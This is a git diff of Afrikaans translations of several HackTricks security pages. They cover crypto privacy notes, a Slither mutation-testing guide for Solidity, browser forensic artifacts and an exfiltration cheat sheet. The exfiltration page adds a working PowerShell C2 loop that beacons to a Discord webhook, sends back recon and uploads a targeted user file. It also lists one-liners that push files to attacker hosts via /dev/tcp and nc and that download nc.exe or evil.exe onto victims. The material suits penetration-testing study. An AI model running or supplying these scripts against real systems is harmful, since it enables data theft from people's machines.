+- **Full node**: Deur die hele blockchain af te laai, verseker 'n full node maksimum privaatheid. Alle ooit uitgevoerde transaksies word lokaal gestoor, wat dit onmoontlik maak vir teenstanders om te identifiseer waarna die gebruiker belangstel.
-- **Client-side block filtering**: Hierdie metode behels die skep van filters vir elke blok in die blockchain, wat wallets in staat stel om relevante transaksies te identifiseer sonder om spesifieke belange aan netwerkwaarnemers bloot te stel. Liggewig-wallets laai hierdie filters af en haal slegs volle blokke op wanneer 'n ooreenkoms met die gebruiker se adresse gevind word.
+- **Client-side block filtering**: Hierdie metode behels die skep van filters vir elke blok in die blockchain, wat wallets in staat stel om relevante transaksies te identifiseer sonder om spesifieke belange aan netwerkwaarnemers bloot te stel. Liggewig-wallets laai hierdie filters af en haal slegs volle blokke wanneer 'n ooreenstemming met die gebruiker se adresse gevind word.
 
-## **Gebruik van Tor vir anonimiteit**
+## **Utilizing Tor for Anonymity**
 
-Aangesien Bitcoin op 'n peer-to-peer-netwerk werk, word dit aanbeveel om Tor te gebruik om jou IP-adres te versluier en sodoende privaatheid te verbeter wanneer jy met die netwerk interaksie het.
+Aangesien Bitcoin op 'n peer-to-peer netwerk werk, word dit aanbeveel om Tor te gebruik om jou IP-adres te maskeer, wat privaatheid verhoog wanneer jy met die netwerk kommunikeer.
 
-## **Voorkoming van adreshergebruik**
+## **Preventing Address Reuse**
 
-Om privaatheid te beskerm, is dit noodsaaklik om 'n nuwe adres vir elke transaksie te gebruik. Die hergebruik van adresse kan privaatheid kompromitteer deur transaksies aan dieselfde entiteit te koppel. Moderne wallets ontmoedig adreshergebruik deur hul ontwerp.
+Om privaatheid te beskerm, is dit noodsaaklik om vir elke transaksie 'n nuwe adres te gebruik. Hergebruik van adresse kan privaatheid in gedrang bring deur transaksies aan dieselfde entiteit te koppel. Moderne wallets ontmoedig adressehergebruik deur hul ontwerp.
 
-## **Strategieë vir transaksieprivaatheid**
+## **Strategies for Transaction Privacy**
 
-- **Multiple transactions**: Deur 'n betaling in verskeie transaksies te verdeel kan die transaksiebedrag verberg en privaatheidsaanvalle dwarsboom.
+- **Multiple transactions**: Om 'n betaling in verskeie transaksies te verdeel kan die bedrag verduister en privaatheidsaanvalle dwarsboom.
-- **Change avoidance**: Deur te kies vir transaksies wat geen change-uitsette vereis, verbeter privaatheid deur change-detektiemetodes te ontwrig.
+- **Change avoidance**: Kies vir transaksies wat geen change outputs benodig nie — dit verbeter privaatheid deur change-detectiemetodes te ontwrig.
-- **Multiple change outputs**: As die vermyding van change nie haalbaar is nie, kan die genereer van meervoudige change-uitsette steeds privaatheid verbeter.
+- **Multiple change outputs**: As die vermyding van change nie haalbaar is nie, kan die genereer van verskeie change outputs steeds privaatheid verbeter.
 
-# **Monero: 'n Baken van anonimiteit**
+# **Monero: A Beacon of Anonymity**
 
 Monero spreek die behoefte aan absolute anonimiteit in digitale transaksies aan en stel 'n hoë standaard vir privaatheid.
 
-# **Ethereum: Gas en transaksies**
+# **Ethereum: Gas and Transactions**
 
-## **Gas verstaan**
+## **Begrip van Gas**
 
-Gas meet die rekenkundige moeite benodig om operasies op Ethereum uit te voer, en word geprys in **gwei**. Byvoorbeeld, 'n transaksie wat 2,310,000 gwei (of 0.00231 ETH) kos, het 'n gaslimiet en 'n basisfooi, plus 'n tip om myners te stimuleer. Gebruikers kan 'n maksimumfooi stel om te verseker dat hulle nie te veel betaal nie; die oorskot word terugbetaal.
+Gas meet die rekenkundige poging wat nodig is om operasies op Ethereum uit te voer, geprys in **gwei**. Byvoorbeeld, 'n transaksie wat 2,310,000 gwei (of 0.00231 ETH) kos behels 'n gaslimiet en 'n basisfooi, met 'n wenk om miners te stimuleer. Gebruikers kan 'n maksimumfooi stel om te verseker dat hulle nie oorbetaal nie; die oorskot word terugbetaal.
 
 ## **Uitvoering van transaksies**
 
-Transaksies op Ethereum betrek 'n sender en 'n ontvanger, wat óf gebruikers- óf smart contract-adresse kan wees. Hulle vereis 'n fooi en moet gemyn word. Wesentlike inligting in 'n transaksie sluit die ontvanger, sender se handtekening, waarde, opsionele data, gaslimiet en fooie in. Belangrik: die sender se adres word uit die handtekening afgelei, wat die noodsaaklikheid om dit in die transaksiedata op te neem uitskakel.
+Transaksies op Ethereum behels 'n sender en 'n ontvanger, wat beide 'n gebruiker- of smart contract-adres kan wees. Hulle vereis 'n fooi en moet gemyn word. Essensiële inligting in 'n transaksie sluit die ontvanger, die sender se handtekening, waarde, opsionele data, gaslimiet en fooie in. Opmerkend is dat die sender se adres uit die handtekening afgeleid word, wat die behoefte om dit in die transaksiedata op te neem uitskakel.
 
-Hierdie praktyke en meganismes vorm die fondament vir enigiemand wat met kripto-geldeenhede wil omgaan en privaatheid en sekuriteit prioriseer.
+Hierdie praktyke en meganismes is fundamenteel vir enigiemand wat met kripto-geldeenhede wil omgaan terwyl privaatheid en sekuriteit prioriteit geniet.
+
+## Smart Contract Security
+
+- Mutation testing om blindekolle in toetsstelle te vind:
+
+{{#ref}}
+../smart-contract-security/mutation-testing-with-slither.md
+{{#endref}}
 
 ## Verwysings
 
@@ -181,9 +189,9 @@ Hierdie praktyke en meganismes vorm die fondament vir enigiemand wat met kripto-
 - [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
 - [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
 
-## DeFi/AMM Eksploitasie
+## DeFi/AMM Exploitation
 
-As jy navorsing doen oor praktiese eksploitasie van DEXes en AMMs (Uniswap v4 hooks, rounding/precision abuse, flash‑loan amplified threshold‑crossing swaps), kyk:
+As jy praktiese eksploitasie van DEXes en AMMs bestudeer (Uniswap v4 hooks, rounding/precision abuse, flash‑loan amplified threshold‑crossing swaps), kyk:
 
 {{#ref}}
 defi-amm-hook-precision.md

src/blockchain/smart-contract-security/mutation-testing-with-slither.md

@@ -0,0 +1,116 @@
+# Mutasietoetsing vir Solidity met Slither (slither-mutate)
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+Mutasietoetsing "toets jou toetse" deur stelselmatig klein veranderinge (mutants) in jou Solidity-kode in te bring en jou toetsuite weer te laat loop. As 'n toets faal, word die mutant gedood. As die toetse steeds slaag, oorleef die mutant, wat 'n blinde kol in jou toetsuite aan die lig bring wat lyn-/vertakkingsdekking nie kan opspoor nie.
+
+Sleutelgedagte: Dekking toon dat kode uitgevoer is; mutasietoetsing toon of gedrag werklik deur toetse bekragtig word.
+
+## Waarom dekking kan mislei
+
+Oorweeg hierdie eenvoudige drempelkontrole:
+```solidity
+function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
+if (deposit >= 1 ether) {
+return true;
+} else {
+return false;
+}
+}
+```
+Eenheidstoetse wat slegs `n` waarde onder en `n` waarde bo die drempel nagaan kan 100% lyn-/takdekking bereik terwyl hulle versuim om die gelykheidsgrens (==) te bekragtig. 'n Refaktorering na `deposit >= 2 ether` sou steeds sulke toetse deurstaan en stilweg protokollogika breek.
+
+Mutasietoetsing openbaar hierdie gaping deur die voorwaarde te muteer en te verifieer dat jou toetse faal.
+
+## Algemene Solidity mutasie-operateurs
+
+Die mutasie-enjin van Slither pas baie klein, semantiekveranderende wysigings toe, soos:
+- Operatorvervanging: `+` ↔ `-`, `*` ↔ `/`, etc.
+- Toewysingsvervanging: `+=` → `=`, `-=` → `=`
+- Konstantevervanging: nie-nul → `0`, `true` ↔ `false`
+- Voorwaardelike negasie/vervanging binne `if`/lusse
+- Kommentaar uitkommentarieer hele reëls (CR: Comment Replacement)
+- Vervang 'n reël deur `revert()`
+- Datatipe-wissel: bv. `int128` → `int64`
+
+Doel: Vernietig 100% van die gegenereerde mutants, of regverdig oorlewendes met duidelike redes.
+
+## Uitvoering van mutasietoetsing met slither-mutate
+
+Vereistes: Slither v0.10.2+.
+
+- Lys opsies en mutators:
+```bash
+slither-mutate --help
+slither-mutate --list-mutators
+```
+- Foundry voorbeeld (vang resultate en hou 'n volledige log):
+```bash
+slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
+```
+- As jy nie Foundry gebruik nie, vervang `--test-cmd` met hoe jy toetse hardloop (bv., `npx hardhat test`, `npm test`).
+
+Artefakte en verslae word standaard in `./mutation_campaign` gestoor. Ongevang (oorleefde) mutante word daarheen gekopieer vir inspeksie.
+
+### Verstaan die uitset
+
+Verslagreëls lyk soos:
+```text
+INFO:Slither-Mutate:Mutating contract ContractName
+INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
+```
+- Die etiket in hakies is die mutator-alias (bv., `CR` = Comment Replacement).
+- `UNCAUGHT` beteken dat toetse geslaag het onder die gemuteerde gedrag → ontbrekende assertie.
+
+## Verminder uitvoeringstyd: prioritiseer invloedryke mutante
+
+Mutasieveldtogte kan ure of dae neem. Wenke om koste te verminder:
+- Scope: Begin slegs met kritieke contracts/direktore, en brei dan uit.
+- Prioritiseer mutators: As 'n hoë-prioriteits mutant op 'n reël oorleef (bv., hele reël uitgekommenteer), kan jy laer-prioriteits variante vir daardie reël oorslaan.
+- Paralleliseer toetse as jou runner dit toelaat; cache dependencies/builds.
+- Fail-fast: stop vroeg wanneer 'n verandering duidelik 'n assertie-gaping toon.
+
+## Triage-werkstroom vir oorblywende mutante
+
+1) Inspekteer die gemuteerde reël en gedrag.
+- Reproduceer plaaslik deur die gemuteerde reël toe te pas en 'n gefokusde toets te hardloop.
+
+2) Verskerp toetse om die toestand te assereer, nie net returnwaardes nie.
+- Voeg gelykheids-grenskontroles by (bv., toets drempel `==`).
+- Asserteer post-voorwaardes: balanse, totale aanbod, magtigings-effekte, en uitgesaai gebeurtenisse.
+
+3) Vervang te permissiewe mocks met realistiese gedrag.
+- Verseker dat mocks transfers afdwing, foutpaaie en gebeurtenisuitstoot hanteer wat op-chain voorkom.
+
+4) Voeg invariantes by vir fuzz-toetse.
+- Byv., behoud van waarde, nie-negatiewe balanse, magtigings-invariantes, monotone voorraad waar toepaslik.
+
+5) Herhardloop slither-mutate totdat die oorblywende mutante gedood is of eksplisiet geregverdig.
+
+## Gevallestudie: onthul ontbrekende toestand-asserties (Arkis protocol)
+
+'n Mutasieveldtog tydens 'n oudit van die Arkis DeFi-protokol het oorblywende mutante soos die volgende na vore gebring:
+```text
+INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
+```
+Kommentering van die toekenning het die toetse nie gebreek nie, wat ontbrekende post-state-asserties bewys. Oorsaak: die kode het vertrou op 'n gebruiker-beheerde `_cmd.value` in plaas daarvan om werklike token-oordragte te valideer. 'n Aanvaller kon verwagte en werklike oordragte desinchroniseer om fondse uit te tap. Resultaat: hoë risiko vir die protokol se solvabiliteit.
+
+Riglyne: Beskou oorlewende mutante wat waarde-oordragte, rekeningkunde of toegangbeheer raak as hoë-risiko totdat hulle uitgeskakel is.
+
+## Praktiese kontrolelys
+
+- Voer 'n geteikende veldtog uit:
+- `slither-mutate ./src/contracts --test-cmd="forge test"`
+- Prioritiseer oorlewende mutante en skryf toetse/invariante wat sou misluk onder die gemuteerde gedrag.
+- Kontroleer balanse, totale supply, magtigings en events.
+- Voeg grensgeval-toetse by (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
+- Vervang onrealistiese mocks; simuleer faalmodusse.
+- Herhaal totdat alle mutante uitgeskakel is of met kommentaar en motivering geregverdig is.
+
+## Verwysings
+
+- [Use mutation testing to find the bugs your tests don't catch (Trail of Bits)](https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/)
+- [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf)
+- [Slither (GitHub)](https://github.com/crytic/slither)
+
+{{#include ../../../banners/hacktricks-training.md}}

src/generic-hacking/exfiltration.md

@@ -1,12 +1,12 @@
-# Exfiltrasie
+# Exfiltration
 
 {{#include ../banners/hacktricks-training.md}}
 
-## Gewoonlik goedgekeurde domeine om inligting te onttrek
+## Algemeen whitelisted domeine om inligting te exfiltrate
 
-Kyk na [https://lots-project.com/](https://lots-project.com/) om gewoonlik goedgekeurde domeine te vind wat misbruik kan word
+Kyk na [https://lots-project.com/](https://lots-project.com/) om algemeen whitelisted domeine te vind wat misbruik kan word
 
-## Kopieer\&Plak Base64
+## Copy\&Paste Base64
 
 **Linux**
 ```bash
@@ -45,8 +45,8 @@ Start-BitsTransfer -Source $url -Destination $output -Asynchronous
 ### Laai lêers op
 
 - [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
-- [**SimpleHttpServer wat GET en POSTs (ook koptekste) druk**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
+- [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
-- Python module [uploadserver](https://pypi.org/project/uploadserver/):
+- Python-moduul [uploadserver](https://pypi.org/project/uploadserver/):
 ```bash
 # Listen to files
 python3 -m pip install --user uploadserver
@@ -59,7 +59,7 @@ curl -X POST http://HOST/upload -H -F 'files=@file.txt'
 # With basic auth:
 # curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world
 ```
-### **HTTPS Bediener**
+### **HTTPS-bediener**
 ```python
 # from https://gist.github.com/dergachev/7028596
 # taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
@@ -100,9 +100,94 @@ if __name__ == "__main__":
 app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
 ###
 ```
+## Webhooks (Discord/Slack/Teams) vir C2 & Data Exfiltration
+
+Webhooks is write-only HTTPS-endpunte wat JSON en opsionele file parts aanvaar. Hulle word gewoonlik toegelaat na vertroude SaaS-domeine en vereis geen OAuth/API keys nie, wat dit nuttig maak vir low-friction beaconing en exfiltration.
+
+Belangrike idees:
+- Eindpunt: Discord gebruik https://discord.com/api/webhooks/<id>/<token>
+- POST multipart/form-data with a part named payload_json containing {"content":"..."} and optional file part(s) named file.
+- Operator-luspatroon: periodic beacon -> directory recon -> targeted file exfil -> recon dump -> sleep. HTTP 204 NoContent/200 OK bevestig aflewering.
+
+PowerShell PoC (Discord):
+```powershell
+# 1) Configure webhook and optional target file
+$webhook = "https://discord.com/api/webhooks/YOUR_WEBHOOK_HERE"
+$target  = Join-Path $env:USERPROFILE "Documents\SENSITIVE_FILE.bin"
+
+# 2) Reuse a single HttpClient
+$client = [System.Net.Http.HttpClient]::new()
+
+function Send-DiscordText {
+param([string]$Text)
+$payload = @{ content = $Text } | ConvertTo-Json -Compress
+$jsonContent = New-Object System.Net.Http.StringContent($payload, [System.Text.Encoding]::UTF8, "application/json")
+$mp = New-Object System.Net.Http.MultipartFormDataContent
+$mp.Add($jsonContent, "payload_json")
+$resp = $client.PostAsync($webhook, $mp).Result
+Write-Host "[Discord] text -> $($resp.StatusCode)"
+}
+
+function Send-DiscordFile {
+param([string]$Path, [string]$Name)
+if (-not (Test-Path $Path)) { return }
+$bytes = [System.IO.File]::ReadAllBytes($Path)
+$fileContent = New-Object System.Net.Http.ByteArrayContent(,$bytes)
+$fileContent.Headers.ContentType = [System.Net.Http.Headers.MediaTypeHeaderValue]::Parse("application/octet-stream")
+$json = @{ content = ":package: file exfil: $Name" } | ConvertTo-Json -Compress
+$jsonContent = New-Object System.Net.Http.StringContent($json, [System.Text.Encoding]::UTF8, "application/json")
+$mp = New-Object System.Net.Http.MultipartFormDataContent
+$mp.Add($jsonContent, "payload_json")
+$mp.Add($fileContent, "file", $Name)
+$resp = $client.PostAsync($webhook, $mp).Result
+Write-Host "[Discord] file $Name -> $($resp.StatusCode)"
+}
+
+# 3) Beacon/recon/exfil loop
+$ctr = 0
+while ($true) {
+$ctr++
+# Beacon
+$beacon = "━━━━━━━━━━━━━━━━━━`n:satellite: Beacon`n```User: $env:USERNAME`nHost: $env:COMPUTERNAME```"
+Send-DiscordText -Text $beacon
+
+# Every 2nd: quick folder listing
+if ($ctr % 2 -eq 0) {
+$dirs = @("Documents","Desktop","Downloads","Pictures")
+$acc = foreach ($d in $dirs) {
+$p = Join-Path $env:USERPROFILE $d
+$items = Get-ChildItem -Path $p -ErrorAction SilentlyContinue | Select-Object -First 3 -ExpandProperty Name
+if ($items) { "`n$d:`n - " + ($items -join "`n - ") }
+}
+Send-DiscordText -Text (":file_folder: **User Dirs**`n━━━━━━━━━━━━━━━━━━`n```" + ($acc -join "") + "```")
+}
+
+# Every 3rd: targeted exfil
+if ($ctr % 3 -eq 0) { Send-DiscordFile -Path $target -Name ([IO.Path]::GetFileName($target)) }
+
+# Every 4th: basic recon
+if ($ctr % 4 -eq 0) {
+$who = whoami
+$ip  = ipconfig | Out-String
+$tmp = Join-Path $env:TEMP "recon.txt"
+"whoami:: $who`r`nIPConfig::`r`n$ip" | Out-File -FilePath $tmp -Encoding utf8
+Send-DiscordFile -Path $tmp -Name "recon.txt"
+}
+
+Start-Sleep -Seconds 20
+}
+```
+Aantekeninge:
+- Soortgelyke patrone geld vir ander samewerkingsplatforms (Slack/Teams) wat hul incoming webhooks gebruik; pas URL en JSON schema dienooreenkomstig aan.
+- Vir DFIR van Discord Desktop cache artifacts en webhook/API recovery, sien:
+
+{{#ref}}
+../generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md
+{{#endref}}
+
 ## FTP
 
-### FTP bediener (python)
+### FTP server (python)
 ```bash
 pip3 install pyftpdlib
 python3 -m pyftpdlib -p 21
@@ -112,7 +197,7 @@ python3 -m pyftpdlib -p 21
 sudo npm install -g ftp-srv --save
 ftp-srv ftp://0.0.0.0:9876 --root /tmp
 ```
-### FTP bediener (pure-ftp)
+### FTP-bediener (pure-ftp)
 ```bash
 apt-get update && apt-get install pure-ftp
 ```
@@ -150,7 +235,7 @@ kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
 #For new Win10 versions
 impacket-smbserver -smb2support -user test -password test test `pwd`
 ```
-Of skep 'n smb deel **met behulp van samba**:
+Of skep 'n smb share **met samba**:
 ```bash
 apt-get install samba
 mkdir /tmp/smb
@@ -175,13 +260,13 @@ WindPS-2> cd new_disk:
 ```
 ## SCP
 
-Die aanvaller moet SSHd aan die gang hê.
+Die aanvaller moet SSHd laat loop.
 ```bash
 scp <username>@<Attacker_IP>:<directory>/<filename>
 ```
 ## SSHFS
 
-As die slagoffer SSH het, kan die aanvaller 'n gids van die slagoffer na die aanvaller monteer.
+As die victim SSH het, kan die attacker 'n gids van die victim na die attacker mount.
 ```bash
 sudo apt-get install sshfs
 sudo mkdir /mnt/sshfs
@@ -194,12 +279,12 @@ nc -vn <IP> 4444 < exfil_file
 ```
 ## /dev/tcp
 
-### Laai lêer af van slagoffer
+### Laai lêer vanaf victim
 ```bash
 nc -lvnp 80 > file #Inside attacker
 cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
 ```
-### Laai lêer na slagoffer op
+### Lêer na die slagoffer oplaai
 ```bash
 nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
 # Inside victim
@@ -228,15 +313,15 @@ sniff(iface="tun0", prn=process_packet)
 ```
 ## **SMTP**
 
-As jy data na 'n SMTP-bediener kan stuur, kan jy 'n SMTP skep om die data met python te ontvang:
+As jy data na 'n SMTP server kan stuur, kan jy 'n SMTP skep om die data met python te ontvang:
 ```bash
 sudo python -m smtpd -n -c DebuggingServer :25
 ```
 ## TFTP
 
-Standaard in XP en 2003 (in ander moet dit eksplisiet tydens installasie bygevoeg word)
+Standaard in XP en 2003 (in ander moet dit tydens installasie uitdruklik bygevoeg word)
 
-In Kali, **begin TFTP bediener**:
+In Kali, **start TFTP server**:
 ```bash
 #I didn't get this options working and I prefer the python option
 mkdir /tftp
@@ -248,7 +333,7 @@ cp /path/tp/nc.exe /tftp
 pip install ptftpd
 ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
 ```
-In **slagoffer**, verbind met die Kali-bediener:
+In **slagoffer**, koppel aan die Kali-server:
 ```bash
 tftp -i <KALI-IP> get nc.exe
 ```
@@ -262,7 +347,7 @@ echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', '
 ```bash
 Attacker> python -m SimpleHTTPServer 80
 ```
-**Slachtoffer**
+**Slagoffer**
 ```bash
 echo strUrl = WScript.Arguments.Item(0) > wget.vbs
 echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
@@ -296,13 +381,13 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
 ```
 ## Debug.exe
 
-Die `debug.exe` program laat nie net inspeksie van binêre toe nie, maar het ook die **vermoë om hulle uit hex te herbou**. Dit beteken dat deur 'n hex van 'n binêre te verskaf, kan `debug.exe` die binêre lêer genereer. Dit is egter belangrik om te noem dat debug.exe 'n **beperking het om lêers tot 64 kb in grootte te monteer**.
+Die `debug.exe`-program laat nie net inspeksie van binaries toe nie, maar het ook die **vermoë om dit vanaf hex te herbou**. Dit beteken dat deur 'n hex van 'n binary te verskaf, kan `debug.exe` die binary-lêer genereer. Dit is egter belangrik om te let dat debug.exe 'n **beperking het om lêers tot 64 kb in grootte saam te stel**.
 ```bash
 # Reduce the size
 upx -9 nc.exe
 wine exe2bat.exe nc.exe nc.txt
 ```
-Dan kopieer-plak die teks in die windows-shell en 'n lêer genaamd nc.exe sal geskep word.
+Kopieer en plak dan die teks in die windows-shell en 'n lêer met die naam nc.exe sal geskep word.
 
 - [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
 
@@ -310,4 +395,10 @@ Dan kopieer-plak die teks in die windows-shell en 'n lêer genaamd nc.exe sal ge
 
 - [https://github.com/Stratiz/DNS-Exfil](https://github.com/Stratiz/DNS-Exfil)
 
+## Verwysings
+
+- [Discord as a C2 and the cached evidence left behind](https://www.pentestpartners.com/security-blog/discord-as-a-c2-and-the-cached-evidence-left-behind/)
+- [Discord Webhooks – Execute Webhook](https://discord.com/developers/docs/resources/webhook#execute-webhook)
+- [Discord Forensic Suite (cache parser)](https://github.com/jwdfir/discord_cache_parser)
+
 {{#include ../banners/hacktricks-training.md}}

src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md

@@ -1,58 +1,58 @@
-# Bladsy Artefakte
+# Blaaier-artefakte
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Bladsy Artefakte <a href="#id-3def" id="id-3def"></a>
+## Blaaiers-artefakte <a href="#id-3def" id="id-3def"></a>
 
-Bladsy artefakte sluit verskeie tipes data in wat deur webblaaiers gestoor word, soos navigasiegeskiedenis, boekmerke en kasdata. Hierdie artefakte word in spesifieke vouers binne die bedryfstelsel gehou, wat verskil in ligging en naam oor blaaiers, maar oor die algemeen soortgelyke datatipes stoor.
+Blaaier-artefakte sluit verskeie tipes data in wat deur webblaaiers gestoor word, soos navigasiegeskiedenis, bladmerke en kas-data. Hierdie artefakte word in spesifieke gidse binne die bedryfstelsel gehou, met verskille in ligging en naam tussen blaaiers, maar stoor oor die algemeen soortgelyke datatipes.
 
-Hier is 'n opsomming van die mees algemene bladsy artefakte:
+Hier is 'n opsomming van die mees algemene blaaier-artefakte:
 
-- **Navigasiegeskiedenis**: Hou gebruikersbesoeke aan webwerwe dop, nuttig om besoeke aan kwaadwillige webwerwe te identifiseer.
+- **Navigasiegeskiedenis**: Volg gebruikersbesoeke aan webwerwe, nuttig om besoeke aan kwaadwillige werwe te identifiseer.
-- **Outomatiese Voltooiing Data**: Voorstelle gebaseer op gereelde soektogte, wat insigte bied wanneer dit gekombineer word met navigasiegeskiedenis.
+- **Outomatiese voltooiingsdata**: Voorstelle gebaseer op gereelde soektogte, bied insigte wanneer gekombineer met navigasiegeskiedenis.
-- **Boekmerke**: Webwerwe wat deur die gebruiker gestoor is vir vinnige toegang.
+- **Bladmerke**: Werwe deur die gebruiker gestoor vir vinnige toegang.
-- **Uitbreidings en Byvoegings**: Blaaieruitbreidings of byvoegings wat deur die gebruiker geïnstalleer is.
+- **Uitbreidings en byvoegsels**: Browserverlengings of byvoegsels wat deur die gebruiker geïnstalleer is.
-- **Kas**: Stoor webinhoud (bv. beelde, JavaScript-lêers) om webwerf laaitye te verbeter, waardevol vir forensiese analise.
+- **Kas**: Stoor webinhoud (bv. beelde, JavaScript-lêers) om webwerf-laaisnelhede te verbeter; waardevol vir forensiese ontleding.
-- **Inloggings**: Gestoor inlogbesonderhede.
+- **Aanmeldings**: Gestoor aanmeldbewyse.
-- **Favicons**: Ikone wat met webwerwe geassosieer word, wat in oortjies en boekmerke verskyn, nuttig vir addisionele inligting oor gebruikersbesoeke.
+- **Favicons**: Ikone geassosieer met webwerwe, vertoon in oortjies en bladmerke, nuttig vir addisionele inligting oor gebruikersbesoeke.
-- **Blaaier Sessies**: Data verwant aan oop blaaier sessies.
+- **Blaaier-sessies**: Data verwant aan oop blaaier-sessies.
 - **Aflaaie**: Rekords van lêers wat deur die blaaier afgelaai is.
-- **Vormdata**: Inligting wat in webvorms ingevoer is, gestoor vir toekomstige outomatiese voltooiingsvoorstelle.
+- **Vormdata**: Inligting wat in webvorms ingevoer is, gestoor vir toekomstige autofill-voorstelle.
-- **Miniatuurbeelde**: Voorvertoning beelde van webwerwe.
+- **Voorbeeldminiature**: Voorskoubeelde van webwerwe.
-- **Custom Dictionary.txt**: Woorde wat deur die gebruiker aan die blaaier se woordeskat bygevoeg is.
+- **Custom Dictionary.txt**: Woorde deur die gebruiker by die blaaier se woordeboek gevoeg.
 
 ## Firefox
 
-Firefox organiseer gebruikersdata binne profiele, gestoor in spesifieke plekke gebaseer op die bedryfstelsel:
+Firefox organiseer gebruikersdata binne profiele, wat in spesifieke liggings gebaseer op die bedryfstelsel gestoor word:
 
 - **Linux**: `~/.mozilla/firefox/`
 - **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
 - **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
 
-'n `profiles.ini` lêer binne hierdie gidse lys die gebruikersprofiele. Elke profiel se data word in 'n vouer gestoor wat in die `Path` veranderlike binne `profiles.ini` genoem word, geleë in dieselfde gids as `profiles.ini` self. As 'n profiel se vouer ontbreek, mag dit verwyder wees.
+'n `profiles.ini`-lêer binne hierdie gidse lys die gebruikersprofiele. Elke profiel se data word in 'n gids gestoor wat in die `Path`-variabele binne `profiles.ini` genoem word, geleë in dieselfde gids as `profiles.ini` self. Indien 'n profielgids ontbreek, kan dit verwyder gewees het.
 
-Binne elke profiel vouer kan jy verskeie belangrike lêers vind:
+Binne elke profielgids kan jy verskeie belangrike lêers vind:
 
-- **places.sqlite**: Stoor geskiedenis, boekmerke en aflaaie. Gereedskap soos [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) op Windows kan toegang tot die geskiedenisdata verkry.
+- **places.sqlite**: Stoor geskiedenis, bladmerke en aflaaie. Gereedskap soos [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) op Windows kan toegang gee tot die geskiedenisdata.
-- Gebruik spesifieke SQL navrae om geskiedenis en aflaaie inligting te onttrek.
+- Gebruik spesifieke SQL-vrae om geskiedenis- en aflaai-inligting te onttrek.
-- **bookmarkbackups**: Bevat rugsteun van boekmerke.
+- **bookmarkbackups**: Bevat rugsteunlêers van bladmerke.
 - **formhistory.sqlite**: Stoor webvormdata.
-- **handlers.json**: Bestuur protokolhanterings.
+- **handlers.json**: Beheer protokolhandelaars.
-- **persdict.dat**: Aangepaste woordeskat woorde.
+- **persdict.dat**: Aangepaste woordeboekwoorde.
-- **addons.json** en **extensions.sqlite**: Inligting oor geïnstalleerde byvoegings en uitbreidings.
+- **addons.json** en **extensions.sqlite**: Inligting oor geïnstalleerde byvoegsels en uitbreidings.
-- **cookies.sqlite**: Koekie stoor, met [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) beskikbaar vir inspeksie op Windows.
+- **cookies.sqlite**: Koekiesberging, met [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) beskikbaar vir inspeksie op Windows.
 - **cache2/entries** of **startupCache**: Kasdata, toeganklik deur gereedskap soos [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html).
 - **favicons.sqlite**: Stoor favicons.
-- **prefs.js**: Gebruikerinstellings en voorkeure.
+- **prefs.js**: Gebruikersinstellings en voorkeure.
-- **downloads.sqlite**: Ou aflaaie databasis, nou geïntegreer in places.sqlite.
+- **downloads.sqlite**: Ouer aflaaibasis, nou geïntegreer in places.sqlite.
-- **thumbnails**: Webwerf miniatuurbeelde.
+- **thumbnails**: Webwerf-voorskoue.
-- **logins.json**: Geënkripteerde inligting oor aanmeldings.
+- **logins.json**: Gekodeerde aanmeldinligting.
-- **key4.db** of **key3.db**: Stoor versleuteling sleutels om sensitiewe inligting te beveilig.
+- **key4.db** of **key3.db**: Stoor enkripsiesleutels wat sensitiewe inligting beveilig.
 
-Boonop kan die blaaier se anti-phishing instellings nagegaan word deur te soek na `browser.safebrowsing` inskrywings in `prefs.js`, wat aandui of veilige blaai funksies geaktiveer of gedeaktiveer is.
+Daarbenewens kan die blaaier se anti-phishing-instellings nagegaan word deur te soek na `browser.safebrowsing`-inskrywings in `prefs.js`, wat aandui of safe browsing-funksies geaktiveer of gedeaktiveer is.
 
-Om te probeer om die meesterwagwoord te ontsleutel, kan jy [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\
